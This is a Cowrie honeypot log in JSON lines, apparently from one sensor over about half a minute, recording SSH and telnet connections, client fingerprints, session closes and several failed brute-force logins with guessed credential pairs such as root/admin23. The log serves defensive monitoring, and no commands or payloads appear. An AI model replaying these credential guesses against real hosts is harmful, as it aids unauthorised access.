{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:14.996384Z","src_ip":"159.203.92.129","session":"75636017a0f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel1234","message":"login attempt [angel/angel1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:15.009728Z","src_ip":"159.203.92.129","session":"75636017a0f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":35100,"dst_ip":"159.203.135.109","dst_port":22,"session":"0498ad481359","protocol":"ssh","message":"New connection: 186.13.24.118:35100 (159.203.135.109:22) [session: 0498ad481359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:15.887949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:15.894083Z","src_ip":"186.13.24.118","session":"0498ad481359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:16.019282Z","src_ip":"159.203.92.129","session":"75636017a0f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:16.060552Z","src_ip":"186.13.24.118","session":"0498ad481359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40926,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2876b09025b","protocol":"telnet","message":"New connection: 209.159.146.115:40926 (159.203.135.109:23) [session: f2876b09025b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:16.456966Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin23","message":"login attempt [root/admin23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:16.752820Z","src_ip":"186.13.24.118","session":"0498ad481359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42238,"dst_ip":"159.203.135.109","dst_port":23,"session":"719bcc47368f","protocol":"telnet","message":"New connection: 209.159.146.115:42238 (159.203.135.109:23) [session: 719bcc47368f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:16.838271Z"}
{"eventid":"cowrie.session.closed","duration":33.53830075263977,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:17.267812Z","src_ip":"209.159.146.115","session":"a4187a438baf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:17.921503Z","src_ip":"186.13.24.118","session":"0498ad481359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.751320600509644,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:18.410781Z","src_ip":"23.254.167.244","session":"46347eedcb74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.488372802734375,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:18.823286Z","src_ip":"209.159.146.115","session":"f672acfc221b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":42996,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dea9a345735","protocol":"telnet","message":"New connection: 23.254.167.244:42996 (159.203.135.109:23) [session: 1dea9a345735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:19.441855Z"}
{"eventid":"cowrie.session.closed","duration":32.32415413856506,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:19.944683Z","src_ip":"23.254.167.244","session":"cacaf5eb7259","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":46056,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b64c439db1a","protocol":"telnet","message":"New connection: 23.254.167.244:46056 (159.203.135.109:23) [session: 8b64c439db1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:21.586657Z"}
{"eventid":"cowrie.session.closed","duration":36.79121136665344,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:23.002958Z","src_ip":"209.159.146.115","session":"d40f9fe16892","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":48678,"dst_ip":"159.203.135.109","dst_port":23,"session":"13b8da9c781c","protocol":"telnet","message":"New connection: 23.254.167.244:48678 (159.203.135.109:23) [session: 13b8da9c781c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:24.009563Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49068,"dst_ip":"159.203.135.109","dst_port":23,"session":"e036d32f1e4a","protocol":"telnet","message":"New connection: 23.254.167.244:49068 (159.203.135.109:23) [session: e036d32f1e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:24.457299Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48546,"dst_ip":"159.203.135.109","dst_port":23,"session":"535e098e6b69","protocol":"telnet","message":"New connection: 209.159.146.115:48546 (159.203.135.109:23) [session: 535e098e6b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:24.524444Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50226,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9b9019a5736","protocol":"telnet","message":"New connection: 209.159.146.115:50226 (159.203.135.109:23) [session: b9b9019a5736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:25.160695Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50550,"dst_ip":"159.203.135.109","dst_port":23,"session":"264a92d76fb8","protocol":"telnet","message":"New connection: 23.254.167.244:50550 (159.203.135.109:23) [session: 264a92d76fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:25.519300Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51258,"dst_ip":"159.203.135.109","dst_port":23,"session":"38c55ec1284d","protocol":"telnet","message":"New connection: 209.159.146.115:51258 (159.203.135.109:23) [session: 38c55ec1284d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:25.623013Z"}
{"eventid":"cowrie.session.closed","duration":34.53829050064087,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:25.642580Z","src_ip":"209.159.146.115","session":"2fe2e0b6d2ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.452624797821045,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:25.716127Z","src_ip":"23.254.167.244","session":"9a26f234b01f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50832,"dst_ip":"159.203.135.109","dst_port":23,"session":"666d73696113","protocol":"telnet","message":"New connection: 23.254.167.244:50832 (159.203.135.109:23) [session: 666d73696113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:25.794674Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":51654,"dst_ip":"159.203.135.109","dst_port":23,"session":"c94cc936ec85","protocol":"telnet","message":"New connection: 23.254.167.244:51654 (159.203.135.109:23) [session: c94cc936ec85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:26.616245Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57772,"dst_ip":"159.203.135.109","dst_port":23,"session":"d43c28e110c9","protocol":"telnet","message":"New connection: 209.159.146.115:57772 (159.203.135.109:23) [session: d43c28e110c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:26.914064Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":51168,"dst_ip":"159.203.135.109","dst_port":23,"session":"176011998463","protocol":"telnet","message":"New connection: 23.254.167.244:51168 (159.203.135.109:23) [session: 176011998463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:27.100083Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":54866,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf8dc59490fb","protocol":"telnet","message":"New connection: 23.254.167.244:54866 (159.203.135.109:23) [session: bf8dc59490fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:29.322440Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55166,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbad77763c07","protocol":"telnet","message":"New connection: 23.254.167.244:55166 (159.203.135.109:23) [session: dbad77763c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:29.585088Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55778,"dst_ip":"159.203.135.109","dst_port":23,"session":"52bfb5b6b7b8","protocol":"telnet","message":"New connection: 23.254.167.244:55778 (159.203.135.109:23) [session: 52bfb5b6b7b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:30.019883Z"}
{"eventid":"cowrie.session.closed","duration":31.60487961769104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:30.059929Z","src_ip":"209.159.146.115","session":"bcb4e47bf98c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.13849925994873,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:30.298462Z","src_ip":"209.159.146.115","session":"9e4df640669a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56118,"dst_ip":"159.203.135.109","dst_port":23,"session":"a42ce20db9fd","protocol":"telnet","message":"New connection: 23.254.167.244:56118 (159.203.135.109:23) [session: a42ce20db9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:30.384204Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56186,"dst_ip":"159.203.135.109","dst_port":23,"session":"e09d5925ee7c","protocol":"telnet","message":"New connection: 23.254.167.244:56186 (159.203.135.109:23) [session: e09d5925ee7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:30.464861Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46898,"dst_ip":"159.203.135.109","dst_port":23,"session":"85ab020d81d0","protocol":"telnet","message":"New connection: 209.159.146.115:46898 (159.203.135.109:23) [session: 85ab020d81d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:30.892756Z"}
{"eventid":"cowrie.session.closed","duration":32.081831216812134,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:32.558848Z","src_ip":"209.159.146.115","session":"ff1b550f1eb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57270,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3cb4c8466ec","protocol":"telnet","message":"New connection: 23.254.167.244:57270 (159.203.135.109:23) [session: f3cb4c8466ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:32.563494Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59392,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd900e474f81","protocol":"telnet","message":"New connection: 23.254.167.244:59392 (159.203.135.109:23) [session: bd900e474f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:33.187408Z"}
{"eventid":"cowrie.session.closed","duration":33.162946462631226,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:33.548031Z","src_ip":"209.159.146.115","session":"c7a381c67a88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59624,"dst_ip":"159.203.135.109","dst_port":23,"session":"d394eb625693","protocol":"telnet","message":"New connection: 23.254.167.244:59624 (159.203.135.109:23) [session: d394eb625693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:34.537683Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42120,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5964d1d35ba","protocol":"telnet","message":"New connection: 209.159.146.115:42120 (159.203.135.109:23) [session: b5964d1d35ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:36.111244Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":48418,"dst_ip":"159.203.135.109","dst_port":23,"session":"61172899000a","protocol":"telnet","message":"New connection: 185.26.126.47:48418 (159.203.135.109:23) [session: 61172899000a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:36.779808Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44386,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7d4fd6fc3fa","protocol":"telnet","message":"New connection: 209.159.146.115:44386 (159.203.135.109:23) [session: f7d4fd6fc3fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:36.817473Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":43448,"dst_ip":"159.203.135.109","dst_port":23,"session":"faa3ab6046bb","protocol":"telnet","message":"New connection: 23.254.167.244:43448 (159.203.135.109:23) [session: faa3ab6046bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:40.325466Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":43818,"dst_ip":"159.203.135.109","dst_port":23,"session":"f138a564c89b","protocol":"telnet","message":"New connection: 23.254.167.244:43818 (159.203.135.109:23) [session: f138a564c89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:40.796855Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43030,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7eeb0c235c2","protocol":"telnet","message":"New connection: 209.159.146.115:43030 (159.203.135.109:23) [session: e7eeb0c235c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:41.741760Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45268,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3f22127f80d","protocol":"telnet","message":"New connection: 209.159.146.115:45268 (159.203.135.109:23) [session: f3f22127f80d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:42.646072Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45760,"dst_ip":"159.203.135.109","dst_port":23,"session":"42a6b2c42f08","protocol":"telnet","message":"New connection: 209.159.146.115:45760 (159.203.135.109:23) [session: 42a6b2c42f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:42.775421Z"}
{"eventid":"cowrie.session.closed","duration":6.169666528701782,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:42.949348Z","src_ip":"185.26.126.47","session":"61172899000a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":46778,"dst_ip":"159.203.135.109","dst_port":23,"session":"4adcb6ccce59","protocol":"telnet","message":"New connection: 23.254.167.244:46778 (159.203.135.109:23) [session: 4adcb6ccce59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:43.745208Z"}
{"eventid":"cowrie.session.closed","duration":32.60330772399902,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:43.892465Z","src_ip":"23.254.167.244","session":"f65006d7da8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":46322,"dst_ip":"159.203.135.109","dst_port":23,"session":"295508f0db61","protocol":"telnet","message":"New connection: 23.254.167.244:46322 (159.203.135.109:23) [session: 295508f0db61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:46.393973Z"}
{"eventid":"cowrie.session.closed","duration":35.63756251335144,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:46.857020Z","src_ip":"209.159.146.115","session":"1f9eb231531f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35564,"dst_ip":"159.203.135.109","dst_port":23,"session":"608d86fe16b2","protocol":"telnet","message":"New connection: 209.159.146.115:35564 (159.203.135.109:23) [session: 608d86fe16b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:47.022215Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":36174,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea26a95b8dee","protocol":"ssh","message":"New connection: 157.66.34.121:36174 (159.203.135.109:22) [session: ea26a95b8dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:47.202935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:47.207428Z","src_ip":"157.66.34.121","session":"ea26a95b8dee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.921156883239746,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:47.255444Z","src_ip":"23.254.167.244","session":"d73c52680f69","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:47.441380Z","src_ip":"157.66.34.121","session":"ea26a95b8dee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39940,"dst_ip":"159.203.135.109","dst_port":23,"session":"62961f0f20bb","protocol":"telnet","message":"New connection: 209.159.146.115:39940 (159.203.135.109:23) [session: 62961f0f20bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:48.047328Z"}
{"eventid":"cowrie.session.closed","duration":33.357526779174805,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:48.064497Z","src_ip":"209.159.146.115","session":"fa4274f78e55","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1","message":"login attempt [user/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:48.405315Z","src_ip":"157.66.34.121","session":"ea26a95b8dee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.235191822052,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:59:48.692011Z","src_ip":"209.159.146.115","session":"f2876b09025b","protocol":"telnet"}
